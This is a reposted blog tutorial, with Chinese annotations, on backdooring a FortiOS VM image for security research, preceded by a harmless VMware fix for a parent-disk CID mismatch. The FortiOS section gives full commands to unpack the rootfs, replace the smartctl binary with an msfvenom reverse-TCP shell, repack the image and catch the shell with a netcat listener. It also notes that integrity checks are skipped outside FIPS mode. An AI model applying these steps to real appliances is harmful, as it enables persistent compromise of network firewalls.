Backdooring a OS VM

Backdooring a OS VM

来源   https://www.cnblogs.com/studyskill/p/6524672.html

提示：

1.经过实验，fortios 5.4 beta4也是可以的。

2.在实验时，选择先下载fortios 5.2(做了快照),再升级5.4，则虚拟机挂载需要选择FortiGate-VM-disk1-000001.vmdk

3.将fortios虚拟机重新打开时，会遇到硬盘id不匹配的问题，只需要修改相应的vmdk文件。

Cannot open the disk Reason: The parent virtual disk has been modified since the child was created.

参考：http://www.running-system.com/cannot-open-the-disk-reason-the-parent-virtual-disk-has-been-modified-since-the-child-was-created/

If you get the following error when starting a virtual machine you can try the solution given below:

“Message on VMName: Cannot open the disk ‘/vmfs/volumes/Volume-ID/VM Name/VMName-000001.vmdk’ or one of the snapshot disks it depends on. Reason: The parent virtual disk has been modified since the child was created.”

The reason for the error is a wrong parent CID in the specified .vmdk file.

Open the folder from the affected VM with the Datastore Browser. There you will find some logfiles beside the standard virtual machine files:

The logfiles are named vmware.log (for the latest log file). Older logfiles have a sequential number in the name.

Now open the latest logfile (vmware.log) with an editor and search for the error:

Attach: content ID mismatch ( != )

… and below the affected vmdk file is listed:

DISK: Cannot open disk “Pfad zu betroffenem .vmdk-File”

The log already provides the solution.

You only have to open the specified .vmdk file in an editor and then adapt the wrong parent CID according to the information in the log.

There are multiple possibilities to edit the .vmdk file. One for example is by using VI directly on the ESXi host (connect to the Host via console or SSH/Putty):

1. Change to the folder of the virtual machine: cd /vmfs/volumes/Volume-ID/VMName

2. Open the .vmdk file with VI: vi affectedfile.vmdk

Now you will see the content of the .vmdk file:

In this screenshot the parent CID has the value: “2e9fc2f0”, but in the errorlog provided above you can see that the hypervisor expects a different value (f37dab38).

3. Correct the CID:

To correct the CID you have to change into “insert mode”. Press “ESC” and then “I”.
Now you can navigate the cursor to the line “parentCID=” and correct it.

4. Save your work

To save the file and exit vi you have to press “ESC” and then “:wq!”. Press Enter to confirm.

5. Power on your virtual machine:

Now you can power on your virtual machine.
If the VM consists of multiple virtual harddisks it is possible necessary to repeat the steps for the other .vmdk files.

Backdooring a OS VM

来源   https://pulpphikshun.wordpress.com/2015/08/31/backdooring-a-fortios-vm

Lately I’ve been playing with FortiOS 5.4 Beta 3 VM.  In previous versions of FortiOS, you could use the hidden fnsysctl command to run linux CLI commands (only a subset, unfortunately).  For example, if you download the FortiOS 5.2 x86 VM, you can run the command “fnsysctl cat /proc/version”, which will display the Linux kernel version it uses.

For those of you that didn’t know, FortiOS is Linux. They are the same.  And FortiOS, up to and including version 5.2, is Linux 2.4. This means that FortiOS does not have ASLR, DEP, stack cookies, or any modern Linux exploit countermeasures.  And everything is written in C, and all processes run as root.

Personally, I find this bizarre. The company I work for has FortiGate firewalls, and it’s a little weird to think that the only Linux box we have running kernel 2.4 is the box we’re using to protect all the other Linux boxes.  Anyway, I digress.

Back to FortiOS 5.4. It seems that Fortinet is tired of porting third-party vendor SDK driver code back to Linux 2.4, so they decided to upgrade the kernel to 3.2. ASLR is even enabled. Not sure about DEP, but I know stack cookies aren’t enabled. But it also appears that “fnsysctl” has been removed. Let’s fix that.

Once you’ve downloaded the OVF zip archive, unzip it, then run ovftool to get it working on VMware Fusion (or Workstation). You will find that it sets up two disks, with the first disk name ending with “-disk1.vmdk”. This is the system boot drive and is formatted ext2.

For our experiment, you’ll need a Linux box. Something on the 3.x kernel, running 32-bit (i686-pae is fine). In VMware, add an “existing disk” to your Linux VM. It’s fine to copy the disk rather than sharing it with the FortiOS VM. Make sure that FortiOS is powered down via “exec shutdown” and not simply suspended.

Once you’ve copied the VMDK and connected it to your Linux VM, mount the disk via “mkdir /mnt/fos” and “mount /dev/sdb1 /mnt/fos”. The disk may be detected as something other than /dev/sdb1.  Use the output of dmesg to check.

--------------------------------------------------------------------------------

一些小提示：挂载硬盘时，可以先查看硬件是否连上：fdisk -l.然后再mount.

df -h:disk human-readable;

umount sdb;

在分析文件时，可以通过file查看文件类型，然后进一步处理。

例如：file rootfs: POSIX tar archive (GNU): tar -xvf xxx.tar

chroot的作用有点权限分离的含义，以当前目录作为根目录执行代码。

--------------------------------------------------------------------------------

Now cd to the /mnt/fos directory, and enter “ls -la”.  You should see the following files:

drwxr-xr-x 8 root root     1024 Aug 30 21:06 .
drwxr-xr-x 8 root root     4096 Aug 30 10:29 ..
drwxr-xr-x 2 root root     1024 Aug 17 20:53 bin
-rw-r–r– 1 root root        1 Aug 17 20:53 boot.msg
drwxr-xr-x 2 root root     1024 Aug 24 17:54 cmdb
drwxr-xr-x 2 root root     1024 Aug 30 19:58 config
-rwxr-xr-x 1 root root    32516 Aug 30 20:03 crash
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp6s_db.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcpddb.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp_ipmac.dat.bak
drwxr-xr-x 8 root root     2048 Aug 24 14:51 etc
-rw-r–r– 1 root root      124 Aug 17 20:53 extlinux.conf
-rw-r–r– 1 root root  2314464 Aug 17 20:53 flatkc
-rw-r–r– 1 root root      256 Aug 17 20:53 flatkc.chk
-r–r–r– 1 root root    32256 Aug 17 20:53 ldlinux.sys
drwxr-xr-x 2 root root     1024 Aug 22 10:59 lib
drwx—— 2 root root    12288 Aug 17 20:53 lost+found
-rw-r–r– 1 root root 21959605 Aug 31 19:21 rootfs.gz
-rw-r–r– 1 root root      256 Aug 17 20:53 rootfs.gz.chk

Great. Now if you cat the extlinux.conf file, you will see that the initrd is set to rootfs.gz. Go ahead and extract this file with gzip, preferably to a different directory. I extracted mine to /root/rootfs. I’m using Kali so hence running as root.

The rootfs blob you extracted is a cpio image. You can extract the files with cpio, using the syntax “cat rootfs | cpio -idmv”. You should now see all the files in the rootfs directory. Go ahead and delete the extracted gzip (called rootfs).

So now we have the following files in our /root/rootfs directory:

drwxr-xr-x 11 root root     4096 Aug 30 10:34 .
drwxr-xr-x 60 root root     4096 Aug 31 19:10 ..
-rw-r–r–  1 root root 12463836 Aug 31 19:21 bin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data2
drwxr-xr-x  6 root root    20480 Aug 30 10:34 dev
lrwxrwxrwx  1 root root        8 Aug 30 10:34 etc -> data/etc
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev -> /
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev4 -> /
lrwxrwxrwx  1 root root       10 Aug 30 10:34 init -> /sbin/init
drwxr-xr-x  2 root root     4096 Aug 30 10:34 lib
-rw-r–r–  1 root root  5104324 Aug 17 20:51 migadmin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 proc
drwxr-xr-x  2 root root     4096 Aug 30 10:34 sbin
drwxr-xr-x  2 root root     4096 Aug 17 20:51 sys
drwxr-xr-x  2 root root     4096 Aug 17 20:51 tmp
-rw-r–r–  1 root root  1112980 Aug 17 20:52 usr.tar.xz
drwxr-xr-x  8 root root     4096 Aug 30 10:34 var

We’re almost there. The file we’re looking for is called bin.tar.xz. It appears to be an xz compressed tar file(用file命令查看), however, all of my attempts to extract this file with xz indicates that it is corrupted.

Fortinet must have altered their version of tar and xz. Luckily, they’ve left their copy kicking around for us to play with. If you look in the /root/rootfs/sbin directory there are three files: init, ftar and xz. To makes these files run, you can chroot to the /root/rootfs directory so that they find their libs in the right directory. Worked fine for me on Kali 1.x running i686-pae kernel.

Extract the contents of the bin.tar.xz using “chroot /root/rootfs sbin/xz -d bin.tar.xz” and “chroot /root/rootfs sbin/ftar -xf bin.tar”.  Issue these commands from the /root/rootfs directory. This should unpack the files into the bin directory under the rootfs.

Now we need to backdoor a binary. I make it really simple. Just “cd” into the rootfs bin directory, and run “rm smartctl” and “msfvenom -p linux/x86/shell_reverse_tcp -f elf -o smartctl LHOST=172.16.8.1 LPORT=22”. Use an LHOST IP address that the FortiOS VM has connectivity to. This will overwrite the smartctl file with a TCP reverse shell.

Now we need to repackage the files:

cd /root/rootfs

rm bin.tar

rm bin.tar.xz

chroot /root/rootfs sbin/ftar -cf bin.tar bin

chroot /root/rootfs sbin/xz –check=sha256 -e bin.tar

rm bin/*

find . | cpio -H newc -o > /root/rootfs.raw

cat /root/rootfs.raw | gzip > /mnt/fos/rootfs.gz

Now unmount the FortiOS partition and shutdown your Linux VM. Copy the “-disk1.vdmk” that was mounted on your Linux VM over the same VMDK from the FortiOS VM. Now start the FortiOS VM. Try not to act shocked when it boots :)

Once the system is booted, login and drop to a CLI. On your host system, startup a netcat listener:

sudo nc -v -l  -p 22

Now on the FortiOS VM, issue the command: “diag hardware smartctl”.  You should get your connect-back shell.

Now the first thing you’ll likely notice is:

ls
/bin/sh: ls: not found

Don’t panic. This is expected. FortiOS uses “busybox” style binaries extensively, so the command you’re looking for is:

/bin/sysctl ls

The “sysctl” binary has a lot of command line tools, which you can discover by entering the /bin/sysctl command by itself. Now that you have a shell, go and statically compile gdb and get fuzzing.

At this point, you may be wondering: doesn’t FortiOS have integrity checks to prevent this sort of thing? What’s the rootfs.gz.chk file for, then? The answer is, yes, it appears that firmware images and critical files such as the rootfs and kernel do have these signatures in the form of “chk” files.(chk是校验文件，但是在虚拟机启动时并没有校验。或者只是部分校验)

However, these files are only checked when in FIPS mode. FIPS mode also disables most of the features on the box, so outside of the government, I do not think anyone actually enables FIPS mode. What’s interesting about that, is that all the “certifications” that FortiOS has, ie. EAL4+, are tested while running in FIPS mode.

Thanks for reading! Next post, we’re going to try extracting firmware files of other platforms (real FortiGate hardware firewalls), backdoor them, then see if we can upgrade to a backdoored image.  Should be lots of fun.

================ End